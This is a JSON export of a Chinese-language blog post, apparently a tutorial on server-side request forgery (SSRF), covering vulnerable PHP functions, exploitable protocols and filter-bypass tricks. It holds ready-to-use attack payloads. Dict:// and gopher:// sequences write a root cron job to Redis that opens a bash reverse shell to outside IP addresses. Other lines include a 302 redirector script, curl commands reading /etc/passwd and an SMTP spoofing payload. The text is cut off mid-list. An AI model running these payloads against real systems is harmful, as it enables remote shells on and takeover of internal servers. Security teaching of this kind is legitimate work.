{"id":211,"date":"2022-04-07T18:29:05","date_gmt":"2022-04-07T10:29:05","guid":{"rendered":"http:\/\/danielw.top\/?p=211"},"modified":"2023-09-22T14:01:59","modified_gmt":"2023-09-22T06:01:59","slug":"ssrf","status":"publish","type":"post","link":"http:\/\/danielw.top\/?p=211","title":{"rendered":"SSRF"},"content":{"rendered":"<h2>\u6f0f\u6d1e\u6982\u8ff0<\/h2>\n<p>\u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020\uff08Server-side Request  Forge\uff09\uff1a\u662f\u4e00\u79cd\u7531\u653b\u51fb\u8005\u6784\u9020\u5f62\u6210\u7531\u670d\u52a1\u7aef\u53d1\u8d77\u8bf7\u6c42\u7684\u4e00\u4e2a\u5b89\u5168\u6f0f\u6d1e\u3002\u5f88\u591aweb\u5e94\u7528\u90fd\u63d0\u4f9b\u4e86\u4ece\u5176\u4ed6\u7684\u670d\u52a1\u5668\u4e0a\u83b7\u53d6\u6570\u636e\u7684\u529f\u80fd\u3002\u4f7f\u7528\u6307\u5b9a\u7684URL\uff0cweb\u5e94\u7528\u4fbf\u53ef\u4ee5\u83b7\u53d6\u56fe\u7247\uff0c\u4e0b\u8f7d\u6587\u4ef6\uff0c\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\u7b49\u3002SSRF\u7684\u5b9e\u8d28\u662f\u5229\u7528\u5b58\u5728\u7f3a\u9677\u7684web\u5e94\u7528\u4f5c\u4e3a\u4ee3\u7406\u653b\u51fb\u8fdc\u7a0b\u548c\u672c\u5730\u7684\u670d\u52a1\u5668\u3002\u4e00\u822c\u60c5\u51b5\u4e0b\uff0c  SSRF\u653b\u51fb\u7684\u76ee\u6807\u662f\u5916\u7f51\u65e0\u6cd5\u8bbf\u95ee\u7684\u5185\u90e8\u7cfb\u7edf\uff0c\u9ed1\u5ba2\u53ef\u4ee5\u5229\u7528SSRF\u6f0f\u6d1e\u83b7\u53d6\u5185\u90e8\u7cfb\u7edf\u7684\u4e00\u4e9b\u4fe1\u606f\uff08\u6b63\u662f\u56e0\u4e3a\u5b83\u662f\u7531\u670d\u52a1\u7aef\u53d1\u8d77\u7684\uff0c\u6240\u4ee5\u5b83\u80fd\u591f\u8bf7\u6c42\u5230\u4e0e\u5b83\u76f8\u8fde\u800c\u4e0e\u5916\u7f51\u9694\u79bb\u7684\u5185\u90e8\u7cfb\u7edf\uff09\u3002SSRF\u5f62\u6210\u7684\u539f\u56e0\u5927\u90fd\u662f\u7531\u4e8e\u670d\u52a1\u7aef\u63d0\u4f9b\u4e86\u4ece\u5176\u4ed6\u670d\u52a1\u5668\u5e94\u7528\u83b7\u53d6\u6570\u636e\u7684\u529f\u80fd\u4e14\u6ca1\u6709\u5bf9\u76ee\u6807\u5730\u5740\u505a\u8fc7\u6ee4\u4e0e\u9650\u5236\u3002<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220407175517722.png\" alt=\"image-20220407175517722\" \/><\/p>\n<h2>\u51fd\u6570<\/h2>\n<p>\u5728PHP\u4e2d\uff0c\u4f1a\u5bfc\u81f4SSRF\u7684\u51fd\u6570\u6709\u5982\u4e0b\uff1a<\/p>\n<p><strong>curl_exec<\/strong><\/p>\n<pre><code class=\"language-php\">&lt;?php\n$ch = curl_init(); \/\/\u521d\u59cb\u5316\ncurl_setopt($ch, CURLOPT_URL, $_GET[&quot;url&quot;]); \/\/\u8bbe\u7f6eURL\u53c2\u6570\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\ncurl_setopt($ch, CURLOPT_HEADER, 0);\n$output = curl_exec($ch); \u3001\u3001\u6293\u53d6URL\ncurl_close($ch); \/\/\u91ca\u653e\u8d44\u6e90\n?&gt;<\/code><\/pre>\n<p><strong>file_get_contents<\/strong><\/p>\n<pre><code class=\"language-php\">$content = file_get_contents($_POST[&#039;url&#039;]);\necho $content;<\/code><\/pre>\n<p><strong>fsockopen<\/strong><\/p>\n<pre><code class=\"language-php\">&lt;?php \nfunction GetFile($host,$port,$link) { \n$fp = fsockopen($host, intval($port), $errno, $errstr, 30); \nif (!$fp) { \n    echo &quot;$errstr (error number $errno) \\n&quot;; \n} else { \n    $out = &quot;GET $link HTTP\/1.1\\r\\n&quot;; \n    $out .= &quot;Host: $host\\r\\n&quot;; \n    $out .= &quot;Connection: Close\\r\\n\\r\\n&quot;; \n    $out .= &quot;\\r\\n&quot;; \n    fwrite($fp, $out); \n    $contents=&#039;&#039;; \n    while (!feof($fp)) { \n        $contents.= fgets($fp, 1024); \n    } \n    fclose($fp); \n    return $contents; \n} \n}\n?&gt;<\/code><\/pre>\n<p>fsockopen \u51fd\u6570\u5b9e\u73b0\u83b7\u53d6\u7528\u6237\u5236\u5b9a URL \u7684\u6570\u636e\uff08\u6587\u4ef6\u6216\u8005 HTML\uff09\u3002\u8fd9\u4e2a\u51fd\u6570\u4f1a\u4f7f\u7528 socket \u8ddf\u670d\u52a1\u5668\u5efa\u7acb TCP \u8fde\u63a5\uff0c\u4f20\u8f93\u539f\u59cb\u6570\u636e<br \/>\n\u540c<code>fsockopen<\/code>\u4f5c\u7528\u76f8\u4f3c\u7684\u8fd8\u6709<code>pfsockopen<\/code>\uff0c\u4e24\u8005\u4e4b\u95f4\u7684\u533a\u522b\u5728\u4e8e\u524d\u8005\u662f\u4e00\u6b21\u6027\u8fde\u63a5\uff0c\u540e\u8005\u662f\u53ef\u6301\u7eed\u6027\u7684\u3002<\/p>\n<h2>\u534f\u8bae<\/h2>\n<p>SSRF\u7684\u653b\u51fb\u662f\u5efa\u7acb\u5728\u534f\u8bae\u7684\u57fa\u7840\u4e0a\u7684\uff0c\u6709\u4e0d\u540c\u7684\u534f\u8bae\u624d\u80fd\u5b9e\u73b0\u4e0d\u540c\u7684\u653b\u51fb<\/p>\n<h3>http\u534f\u8bae<\/h3>\n<p>\u6700\u5e38\u89c1\u7684\u534f\u8bae\uff0c\u53ef\u4ee5\u7528\u4e0e\u7ed5\u8fc7\u5bf9\u5916\u7f51IP\u7684\u9650\u5236\uff0c\u8bbf\u95ee\u4e00\u4e9b\u654f\u611f\u5185\u5bb9\u3002<\/p>\n<h3>ftp\u534f\u8bae<\/h3>\n<p>\u4e5f\u662f\u5e38\u89c1\u7684\u534f\u8bae\u4e4b\u4e00\uff0c\u5e38\u7528\u4e8e\u5411\u8fdc\u7a0b\u670d\u52a1\u5668\u8bf7\u6c42\u4e0b\u8f7d\u4e0e\u4e0a\u4f20\u3002<br \/>\n\u5728SSRF\u4e2d\uff0c\u53ef\u4ee5\u901a\u8fc7\u6784\u5efa\u6076\u610fftp\u670d\u52a1\u5668\u6765\u653b\u51fb\u5185\u7f51\u5e94\u7528\u3002<br \/>\n\u5728*CTF\u4e2d\u6709\u4e00\u9053\u9898<code>oh-my-bet<\/code>\uff0c\u8003\u5bdfSSRF\u4e2d\u901a\u8fc7ftp\u6253\u5185\u7f51mongodb\u3002\u9898\u76eewp\u4e0e\u590d\u73b0\u73af\u5883:<br \/>\n<a href=\"https:\/\/github.com\/sixstars\/starctf2021\/blob\/main\/web-oh-my-bet\/oh-my-bet-ZH.md\" target=\"_blank\"  rel=\"nofollow\" >oh-my-bet<\/a><\/p>\n<h3>file\u534f\u8bae<\/h3>\n<p>\u8bfb\u53d6\u672c\u5730\u6587\u4ef6<br \/>\n\u547d\u4ee4\u683c\u5f0f\uff1a<code>file:\/\/\u6587\u4ef6\u7edd\u5bf9\u8def\u5f84<\/code><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/v2-6cdba9cf6569b66888429098d90df6f7_720w.png\" alt=\"img\" \/><\/p>\n<h3>gopher\u534f\u8bae<\/h3>\n<p>\u5728http\u534f\u8bae\u51fa\u73b0\u4e4b\u524d\uff0cgopher\u534f\u8bae\u66fe\u662f\u4e92\u8054\u7f51\u7684\u4e3b\u6d41\u3002\u867d\u7136\u73b0\u5728\u88ab\u66ff\u4ee3\uff0c\u4f46\u5728ssrf\u4e2d\u662f\u4e07\u91d1\u6cb9\u4e00\u822c\u7684\u5b58\u5728\u3002\u5f88\u591a\u5bf9\u5185\u7f51\u7684\u653b\u51fb\u90fd\u4f9d\u9760\u4ed6\u5b9e\u73b0\u3002<br \/>\n\u5229\u7528 gopher \u7684\u65b9\u5f0f\u6709 FTP \u7206\u7834\uff0cREDIS\uff0cMYSQL\uff0cFAST CGI\uff0cXXE<\/p>\n<p>\u4f7f\u7528\u9650\u5236\uff1a<br \/>\n<img decoding=\"async\" src=\"http:\/\/img.danielw.top\/v2-0b50e3755c35283699a0351a5939f57a_720w.png\" alt=\"img\" \/><\/p>\n<p>\u5e38\u89c1\u7684\u5185\u7f51\u670d\u52a1\uff1a<\/p>\n<ul>\n<li>Redis 6379<\/li>\n<li>FPM 9000<\/li>\n<li>Smtp 25<\/li>\n<li>Mysql 3306<\/li>\n<\/ul>\n<p>\u6211\u4eec\u53ef\u7528\u901a\u8fc7gopher\u6765\u5411\u5185\u7f51\u670d\u52a1\u53d1\u9001\u6076\u610f\u6570\u636e\u5305\uff0c\u6784\u9020\u6570\u636e\u53ef\u4ee5\u901a\u8fc7<a href=\"https:\/\/github.com\/tarunkant\/Gopherus\" target=\"_blank\"  rel=\"nofollow\" >Gopherus<\/a>\u5b9e\u73b0\uff0c\u7b80\u5355\u539f\u7406\u662f\u6784\u9020\u539f\u59cb\u5341\u516d\u8fdb\u5236\u6570\u636e\u518dURL\u7f16\u7801<\/p>\n<p>\u6784\u9020\u793a\u4f8b\uff1a<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220407182804510.png\" alt=\"image-20220407182804510\" \/><\/p>\n<h3>dict\u534f\u8bae<\/h3>\n<p>dict\u534f\u8bae\u662f\u8bcd\u5178\u7f51\u7edc\u534f\u8bae\uff0c\u5728RFC 2009\u4e2d\u8fdb\u884c\u63cf\u8ff0\u3002\u5b83\u7684\u76ee\u6807\u662f\u8d85\u8d8aWebster protocol\uff0c\u5e76\u5141\u8bb8\u5ba2\u6237\u7aef\u5728\u4f7f\u7528\u8fc7\u7a0b\u4e2d\u8bbf\u95ee\u66f4\u591a\u5b57\u5178\u3002Dict\u670d\u52a1\u5668\u548c\u5ba2\u6237\u673a\u4f7f\u7528TCP\u7aef\u53e32628\u3002<br \/>\n\u6211\u4eec\u53ef\u4ee5\u7528dict\u534f\u8bae\u63a2\u6d4b\u7aef\u53e3\u662f\u5426\u5f00\u653e\uff0c\u5b58\u5728\u4ec0\u4e48\u670d\u52a1\u3002dict\u7684\u547d\u4ee4\u683c\u5f0f\uff1a<code>dict:\/\/serverip:port\/\u547d\u4ee4:\u53c2\u6570<\/code><br \/>\n\u7528dict\u534f\u8bae\u4e0egopher\u534f\u8bae\u4e0d\u540c\uff0cdict\u534f\u8bae\u9700\u8981\u4e00\u6761\u4e00\u6761\u6267\u884c<\/p>\n<p>\u4f7f\u7528dict\u5bf9\u7aef\u53e3\u63a2\u6d4b:<\/p>\n<pre><code>?url=dict:\/\/127.0.0.1:6379<\/code><\/pre>\n<p>\u4e3e\u4f8b\u8bf4\u660e\u4e00\u4e0b\u5229\u7528dict\u534f\u8bae\u6253redis<\/p>\n<pre><code class=\"language-bash\"># \u5f00\u542f\u53cd\u5f39shell\u7684\u76d1\u542c\nnc -l 2333\n# 2\u3001\u4f9d\u6b21\u6267\u884c\u4e0b\u9762\u7684\u547d\u4ee4\n# \u6e05\u7a7a key\ndict:\/\/172.72.23.27:6379\/flushall\n# \u8bbe\u7f6e\u8981\u64cd\u4f5c\u7684\u8def\u5f84\u4e3a\u5b9a\u65f6\u4efb\u52a1\u76ee\u5f55\ndict:\/\/172.72.23.27:6379\/config set dir \/var\/spool\/cron\/\n# \u5728\u5b9a\u65f6\u4efb\u52a1\u76ee\u5f55\u4e0b\u521b\u5efa root \u7684\u5b9a\u65f6\u4efb\u52a1\u6587\u4ef6\ndict:\/\/172.72.23.27:6379\/config set dbfilename root\n# \u5199\u5165 Bash \u53cd\u5f39 shell \u7684 payload\ndict:\/\/172.72.23.27:6379\/set x &quot;\\n* * * * * \/bin\/bash -i &gt;%26 \/dev\/tcp\/ip\/2333 0&gt;%261\\n&quot;\n# \u4fdd\u5b58\u4e0a\u8ff0\u64cd\u4f5c\ndict:\/\/172.72.23.27:6379\/save<\/code><\/pre>\n<h2>Bypass<\/h2>\n<h3>@\u7ed5\u8fc7<\/h3>\n<p><a href=\"http:\/\/www.baidu.com@10.10.10.10\" target=\"_blank\"  rel=\"nofollow\" >http:\/\/www.baidu.com@10.10.10.10<\/a><\/p>\n<p>\u6ce8\uff1a\u6709\u4e9b\u6d4f\u89c8\u5668\u662f\u6709\u786e\u8ba4\u63d0\u793a\u53c8\u4e00\u4e9b\u6ca1\u6709\u63d0\u793a\u76f4\u63a5\u8df3\u8f6c<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220407184206271.png\" alt=\"image-20220407184206271\" \/><\/p>\n<h2>\u5229\u7528<code>[::]<\/code><\/h2>\n<pre><code>\u5229\u7528[::]\u7ed5\u8fc7localhost\nhttp:\/\/[::]:80\/  &gt;&gt;&gt;  http:\/\/127.0.0.1<\/code><\/pre>\n<h3>ip\u5730\u5740\u8f6c\u6362\u6210\u8fdb\u5236\u7ed5\u8fc7<\/h3>\n<p><strong>\u4e00\u4e9b\u5f00\u53d1\u8005\u4f1a\u901a\u8fc7\u5bf9\u4f20\u8fc7\u6765\u7684URL\u53c2\u6570\u8fdb\u884c\u6b63\u5219\u5339\u914d\u7684\u65b9\u5f0f\u6765\u8fc7\u6ee4\u6389\u5185\u7f51IP\uff0c\u5982\u91c7\u7528\u5982\u4e0b\u6b63\u5219\u8868\u8fbe\u5f0f\uff1a<\/strong><\/p>\n<p>^10(.([2][0-4]\\d|[2][5][0-5]|[01]?\\d?\\d)){3}$<br \/>\n^172.([1][6-9]|[2]\\d|3[01])(.([2][0-4]\\d|[2][5][0-5]|[01]?\\d?\\d)){2}$<br \/>\n^192.168(.([2][0-4]\\d|[2][5][0-5]|[01]?\\d?\\d)){2}$<\/p>\n<p>\u5bf9\u4e8e\u8fd9\u79cd\u8fc7\u6ee4\u6211\u4eec\u53ef\u4ee5\u91c7\u7528\u6539\u7f16IP\u7684\u5199\u6cd5\u7684\u65b9\u5f0f\u8fdb\u884c\u7ed5\u8fc7\uff0c\u4f8b\u5982192.168.0.1\u8fd9\u4e2aIP\u5730\u5740\u6211\u4eec\u53ef\u4ee5\u6539\u5199\u6210\uff1a<\/p>\n<ul>\n<li>8\u8fdb\u5236\u683c\u5f0f\uff1a0300.0250.0.1<\/li>\n<li>16\u8fdb\u5236\u683c\u5f0f\uff1a0xC0.0xA8.0.1<\/li>\n<li>10\u8fdb\u5236\u6574\u6570\u683c\u5f0f\uff1a3232235521<\/li>\n<li>16\u8fdb\u5236\u6574\u6570\u683c\u5f0f\uff1a0xC0A80001<\/li>\n<\/ul>\n<h3>\u77ed\u7f51\u5740\u7ed5\u8fc7<\/h3>\n<p>\u6bd4\u5982<code>www.baidu.com<\/code>\u4e0e<code>https:\/\/dwz.lc\/2fGYWaE<\/code>\u4e00\u6837\uff0c\u4f7f\u7528\u5728\u7ebf\u7684\u7f51\u5740\u8f6c\u6362\u5de5\u5177\u5373\u53ef<\/p>\n<h3>\u5229\u7528302\u8df3\u8f6c<\/h3>\n<p>\u9700\u8981\u4e00\u4e2avps\uff0c\u628a302\u8f6c\u6362\u7684\u4ee3\u7801\u90e8\u7f72\u5230vps\u4e0a\uff0c\u7136\u540e\u53bb\u8bbf\u95ee\uff0c\u5c31\u53ef\u8df3\u8f6c\u5230\u5185\u7f51\u4e2d<\/p>\n<p>\u6bd4\u5982 302.php<\/p>\n<pre><code class=\"language-php\">&lt;?php  \n$schema = $_GET[&#039;s&#039;];\n$ip     = $_GET[&#039;i&#039;];\n$port   = $_GET[&#039;p&#039;];\n$query  = $_GET[&#039;q&#039;];\nif(empty($port)){  \n    header(&quot;Location: $schema:\/\/$ip\/$query&quot;); \n} else {\n    header(&quot;Location: $schema:\/\/$ip:$port\/$query&quot;); \n}<\/code><\/pre>\n<p>\u7136\u540e\u8bbf\u95ee<\/p>\n<pre><code>#dict protocol - \u63a2\u6d4bRedis\ndict:\/\/127.0.0.1:6379\/info  \ncurl -vvv &#039;http:\/\/sec.com:8082\/ssrf2.php?url=http:\/\/sec.com:8082\/302.php?s=dict&amp;i=127.0.0.1&amp;port=6379&amp;query=info&#039;\n#file protocol - \u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\ncurl -vvv &#039;http:\/\/sec.com:8082\/ssrf2.php?url=http:\/\/sec.com:8082\/302.php?s=file&amp;query=\/etc\/passwd&#039;\n#gopher protocol - \u4e00\u952e\u53cd\u5f39Bash\n\u6ce8\u610f: gopher\u8df3\u8f6c\u7684\u65f6\u5019\u8f6c\u4e49\u548c`url`\u5165\u53c2\u7684\u65b9\u5f0f\u6709\u4e9b\u533a\u522b\ncurl -vvv &#039;http:\/\/sec.com:8082\/ssrf_only_http_s.php?url=http:\/\/sec.com:8082\/302.php?s=gopher&amp;i=127.0.0.1&amp;p=6389&amp;query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0 \na%0a%0a*\/1%20*%20*%20*%20*%20bash%20-i%20&gt;&amp;%20\/dev\/tcp\/103.21.140.84\/6789%200&gt;&amp;1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d  \n%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a\/var\/spool\/cron\/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3\n%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a&#039;<\/code><\/pre>\n<h3>\u5229\u7528\u4e0a\u4f20<\/h3>\n<pre><code>\u4fee\u6539&quot;type=file&quot;\u4e3a&quot;type=url&quot;\n\u6bd4\u5982\uff1a\n\u4e0a\u4f20\u56fe\u7247\u5904\u4fee\u6539\u4e0a\u4f20\uff0c\u5c06\u56fe\u7247\u6587\u4ef6\u4fee\u6539\u4e3aURL\uff0c\u5373\u53ef\u80fd\u89e6\u53d1SSRF<\/code><\/pre>\n<h3>\u5229\u7528\u5176\u4ed6\u534f\u8bae\u7ed5\u8fc7<\/h3>\n<p>\u5982\u679c\u670d\u52a1\u5668\u7aef\u7a0b\u5e8f\u5bf9\u8bbf\u95eeURL\u6240\u91c7\u7528\u7684\u534f\u8bae\u8fdb\u884c\u9a8c\u8bc1\u7684\u8bdd\uff0c\u53ef\u4ee5\u901a\u8fc7\u975eHTTP\u534f\u8bae\u6765\u8fdb\u884c\u5229\u7528\u3002<\/p>\n<pre><code>Dict:\/\/\ndict:\/\/&lt;user-auth&gt;@&lt;host&gt;:&lt;port&gt;\/d:&lt;word&gt;\nssrf.php?url=dict:\/\/attacker:11111\/\nSFTP:\/\/\nssrf.php?url=sftp:\/\/example.com:11111\/\nTFTP:\/\/\nssrf.php?url=tftp:\/\/example.com:12346\/TESTUDPPACKET\nLDAP:\/\/\nssrf.php?url=ldap:\/\/localhost:11211\/%0astats%0aquit\nGopher:\/\/\nssrf.php?url=gopher:\/\/127.0.0.1:25\/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a<\/code><\/pre>\n<p>(1)\u3001GOPHER\u534f\u8bae\uff1a\u901a\u8fc7GOPHER\u6211\u4eec\u5728\u4e00\u4e2aURL\u53c2\u6570\u4e2d\u6784\u9020Post\u6216\u8005Get\u8bf7\u6c42\uff0c\u4ece\u800c\u8fbe\u5230\u653b\u51fb\u5185\u7f51\u5e94\u7528\u7684\u76ee\u7684\u3002\u4f8b\u5982\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528GOPHER\u534f\u8bae\u5bf9\u4e0e\u5185\u7f51\u7684Redis\u670d\u52a1\u8fdb\u884c\u653b\u51fb\uff0c\u53ef\u4ee5\u4f7f\u7528\u5982\u4e0b\u7684URL\uff1a<\/p>\n<pre><code>gopher:\/\/127.0.0.1:6379\/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*\/1* * * * bash -i &gt;&amp; \/dev\/tcp\/172.19.23.228\/23330&gt;&amp;1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a\/var\/spool\/cron\/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a<\/code><\/pre>\n<p>(2)\u3001File\u534f\u8bae\uff1aFile\u534f\u8bae\u4e3b\u8981\u7528\u4e8e\u8bbf\u95ee\u672c\u5730\u8ba1\u7b97\u673a\u4e2d\u7684\u6587\u4ef6\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u7c7b\u4f3cfile:\/\/\/\u6587\u4ef6\u8def\u5f84\u8fd9\u79cd\u683c\u5f0f\u6765\u8bbf\u95ee\u8ba1\u7b97\u673a\u672c\u5730\u6587\u4ef6\u3002\u4f7f\u7528file\u534f\u8bae\u53ef\u4ee5\u907f\u514d\u670d\u52a1\u7aef\u7a0b\u5e8f\u5bf9\u4e8e\u6240\u8bbf\u95ee\u7684IP\u8fdb\u884c\u7684\u8fc7\u6ee4\u3002\u4f8b\u5982\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7<code>file:\/\/\/d:\/1.txt<\/code> \u6765\u8bbf\u95eeD\u76d8\u4e2d1.txt\u7684\u5185\u5bb9<\/p>\n<h3>DNS<\/h3>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MTAxMDQ5,size_16,color_FFFFFF,t_70.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><br \/>\n\u4e00\u822c\u6211\u4eec\u8f93\u5165\u7684URL\u5730\u5740\uff0c\u670d\u52a1\u5668\u540e\u7aef\u63a5\u53d7\u540e\uff0c\u4f1a\u8fdb\u884c\u7b2c\u4e00\u6b21dns\u89e3\u6790\uff0c\u53ef\u80fd\u662f\u672c\u5730\u7684DNS\u670d\u52a1\u5668\uff0c\u4e5f\u6709\u53ef\u80fd\u662f\u5176\u4ed6\u533a\u57df\u7684\u670d\u52a1\u5668\uff0c\u7136\u540e\u83b7\u53d6\u7684ip\u5730\u5740\u5728\u8fdb\u884c\u903b\u8f91\u5224\u65ad\uff0c\u5982\u679c\u662f\u5185\u7f51\u5730\u5740\u5219\u4e0d\u901a\u8fc7\uff0c\u5224\u65ad\u901a\u8fc7\u540e\uff0c\u7136\u540e\u5728\u53bb\u8bf7\u6c42\u4e00\u6b21url\u5730\u5740\u5bf9\u5e94\u7684\u5185\u5bb9\uff0c\u8fd9\u91cc\u662f\u7b2c\u4e8c\u6b21dns\u89e3\u6790\u3002<\/p>\n<p>\u90a3\u4e48\u95ee\u9898\u5c31\u6765\u4e86 \uff0c\u8fd9\u7b2c\u4e00\u6b21\u548c\u7b2c\u4e8c\u6b21\u4e4b\u95f4\u7684\u65f6\u95f4\u5dee\uff0c\u5c31\u80fd\u505a\u6587\u7ae0\uff0c\u524d\u63d0TTL\u4e3a0\uff0c\u5373dns\u89e3\u6790\u8bb0\u5f55\u7f13\u5b58\u5b58\u6d3b\u7684\u65f6\u95f4\u4e3a0\uff0c\u76f8\u5f53\u4e8e\u6bcf\u6b21\u89e3\u6790\u90fd\u8981\u53bb\u91cd\u65b0\u8bf7\u6c42dns\u670d\u52a1\u5668\uff0c\u65e0\u6cd5\u5728\u672c\u5730\u7f13\u5b58\u3002<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/20191011161516513.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><br \/>\n\u6bd4\u5982\u5728\u628a\u540c\u4e00\u4e2a\u57df\u540d\u7ed1\u5b9a\u4e24\u4e2a\u4e0d\u540c\u7684\u5730\u5740\uff0c\u4e5f\u5c31\u662f\u4e24\u6761A\u8bb0\u5f55\uff0c\u53bb\u78b0\u8fd9\u4e2a\u6982\u7387\uff0c\u8981\u7684\u60c5\u51b5\u662f\u7b2c\u4e00\u6b21\u4e3a\u5916\u7f51\u5730\u5740\uff0c\u7136\u800cTTL\u4e3a0\uff0c\u7b2c\u4e8c\u6b21\u8bf7\u6c42\u7684\u65f6\u5019\u8981\u4e3a\u5185\u7f51\u5730\u5740\u3002<\/p>\n<p>\u4e0a\u9762\u8fd9\u79cd\u60c5\u51b5\u7684\u8bdd\uff0c\u6bcf\u6b21\u89e3\u6790\u7684\u7ed3\u679c\u968f\u673a\uff0c\u6240\u4ee5\u8981\u8fbe\u5230\u4e0a\u9762\u8fd9\u6837\u60c5\u51b5\u67091\/4\u7684\u673a\u7387\uff0c\u662f\u8fd9\u6837\u7b97\u7684\u5427\u3002\u6240\u4ee5\u53bb\u78b0\u8fd9\u4e2a\u6982\u7387\uff0c\u78b0\u5230\u4e86\u5c31\u80fd\u6210\u529f\uff0c\u4f46\u8fd9\u79cd\u65b9\u6cd5\u4e0d\u7a33\u5b9a\u3002<\/p>\n<p>\u9700\u8981\u4e00\u4e2a\u66f4\u597d\u7684\u65b9\u6cd5<br \/>\n<img decoding=\"async\" src=\"http:\/\/img.danielw.top\/2019101116474080.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><br \/>\n\u6240\u4ee5\u9700\u8981 \u6dfb\u52a0\u4e00\u6761A\u8bb0\u5f55\u548c\u4e00\u6761NS\u8bb0\u5f55<\/p>\n<p>ns\u8bb0\u5f55\u8868\u793a\u57df\u540dtest.bendawang.site\u8fd9\u4e2a\u5b50\u57df\u540d\u6307\u5b9a\u7531ns.bendawang.site\u8fd9\u4e2a\u57df\u540d\u670d\u52a1\u5668\u6765\u89e3\u6790\uff0c\u7136\u540ea\u8bb0\u5f55\u8868\u793a\u6211\u7684\u8fd9\u4e2ans.bendawang.site\u7684\u4f4d\u7f6e\u5728ip\u5730\u5740104.160.43.154\u4e0a\u3002<\/p>\n<p>\u8fd9\u6837\u7684\u8bdd\u7b2c\u4e00\u89e3\u6790test.bendawang.site\u65f6\u4e3ans.bendawang.site\u8fd9\u4e2a\u5730\u5740\uff0c\u80fd\u901a\u8fc7\uff0c<br \/>\n\u7136\u540e\u7b2c\u4e8c\u6b21\u89e3\u6790ns.bendawang.site\u7684\u65f6\u5019\uff0c\u5c31\u4e3a\u914d\u7f6e\u7684\u5185\u7f51\u5730\u5740\u4e86<br \/>\n\u6210\u529f\u7ed5\u8fc7\u3002<\/p>\n<h3>xip.ip<\/h3>\n<p>xip.io\u8fd9\u662f\u4e2a\u7279\u522b\u7684 \u57df\u540d\uff0c\u662f\u522b\u4eba\u642d\u597d\u7684\u7f51\u7ad9\uff0c\u5177\u4f53\u4fe1\u606f\u53ef\u4ee5\u8bbf\u95ee\u6765\u67e5\u770b\uff0c\u4ed6\u4f1a\u628a\u5982\u4e0b\u7684\u57df\u540d\u89e3\u6790\u5230\u7279\u5b9a\u7684\u5730\u5740\uff0c\u5176\u5b9e\u548cdns\u89e3\u6790\u7ed5\u8fc7\u4e00\u4e2a\u9053\u7406<\/p>\n<pre><code>http:\/\/10.0.0.1.xip.io = 10.0.0.1\nwww.10.0.0.1.xip.io= 10.0.0.1\nhttp:\/\/mysite.10.0.0.1.xip.io = 10.0.0.1\nfoo.http:\/\/bar.10.0.0.1.xip.io = 10.0.0.1\n10.0.0.1.xip.name resolves to 10.0.0.1\nwww.10.0.0.2.xip.name resolves to 10.0.0.2\nfoo.10.0.0.3.xip.name resolves to 10.0.0.3\nbar.baz.10.0.0.4.xip.name resolves to 10.0.0.4\n12345678<\/code><\/pre>\n<h3>\u5229\u7528Enclosed alphanumerics\u7ed5\u8fc7<\/h3>\n<p>\u5229\u7528Enclosed alphanumerics<br \/>\n\u24d4\u24e7\u24d0\u24dc\u24df\u24db\u24d4.\u24d2\u24de\u24dc &gt;&gt;&gt; <a href=\"http:\/\/example.com\" target=\"_blank\"  rel=\"nofollow\" >http:\/\/example.com<\/a><br \/>\nList:<br \/>\n\u2460 \u2461 \u2462 \u2463 \u2464 \u2465 \u2466 \u2467 \u2468 \u2469 \u246a \u246b \u246c \u246d \u246e \u246f \u2470 \u2471 \u2472 \u2473 \u2474 \u2475 \u2476 \u2477 \u2478 \u2479 \u247a \u247b \u247c \u247d \u247e \u247f \u2480 \u2481 \u2482 \u2483 \u2484 \u2485 \u2486 \u2487 \u2488 \u2489 \u248a \u248b \u248c \u248d \u248e \u248f \u2490 \u2491 \u2492 